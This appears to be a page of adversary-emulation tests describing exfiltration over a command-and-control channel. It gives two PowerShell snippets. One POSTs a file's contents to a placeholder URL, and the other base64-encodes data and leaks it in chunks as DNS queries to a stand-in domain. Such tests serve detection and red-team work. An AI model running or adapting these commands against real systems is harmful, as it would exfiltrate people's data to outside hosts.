Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
Exfiltrates a file present on the victim machine to the C2 server.
Supported Platforms: Windows
auto_generated_guid: d1253f6e-c29b-49dc-b466-2147a6191932
| Name | Description | Type | Default Value | |——|————-|——|—————| | destination_url | Destination URL to post encoded data. | string | example.com| | filepath | The file which is being exfiltrated to the C2 Server. | path | $env:TEMP\LineNumbers.txt|
1
powershell
!1
2
3
4
5
6
if(-not (Test-Path #{filepath})){
1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive
Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.
Supported Platforms: Windows
auto_generated_guid: c9207f3e-213d-4cc7-ad2a-7697a7237df9
| Name | Description | Type | Default Value | |——|————-|——|—————| | dns_server | DNS server IP address or domain name. | url | dns.example.com| | exfiltrated_data | Data to be exfiltrated. | string | SecretDataToExfiltrate| | chunk_size | Size of each DNS query chunk (in characters). | integer | 63|
1
powershell
!1
2
3
4
5
6
7
8
9
10
11
12
13
$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}
$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"
foreach ($chunk in $chunks) {
$dnsQuery = $chunk + "." + $dnsServer
Resolve-DnsName -Name $dnsQuery
Start-Sleep -Seconds 5
}